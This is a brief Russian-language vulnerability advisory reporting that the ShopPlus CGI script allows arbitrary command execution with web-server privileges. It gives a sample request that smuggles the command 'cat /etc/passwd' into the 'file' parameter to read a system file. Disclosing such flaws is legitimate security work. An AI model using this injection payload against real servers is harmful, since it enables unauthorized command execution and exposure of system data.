Система ShopPlus позволяет исполнять
произвольные команды с привилегиями web-сервера.

Пример:

http://host/scripts/shopplus.cgi?dn=host&cartid= %CARTID%&file=;cat%20/etc/passwd|

Оставить мнение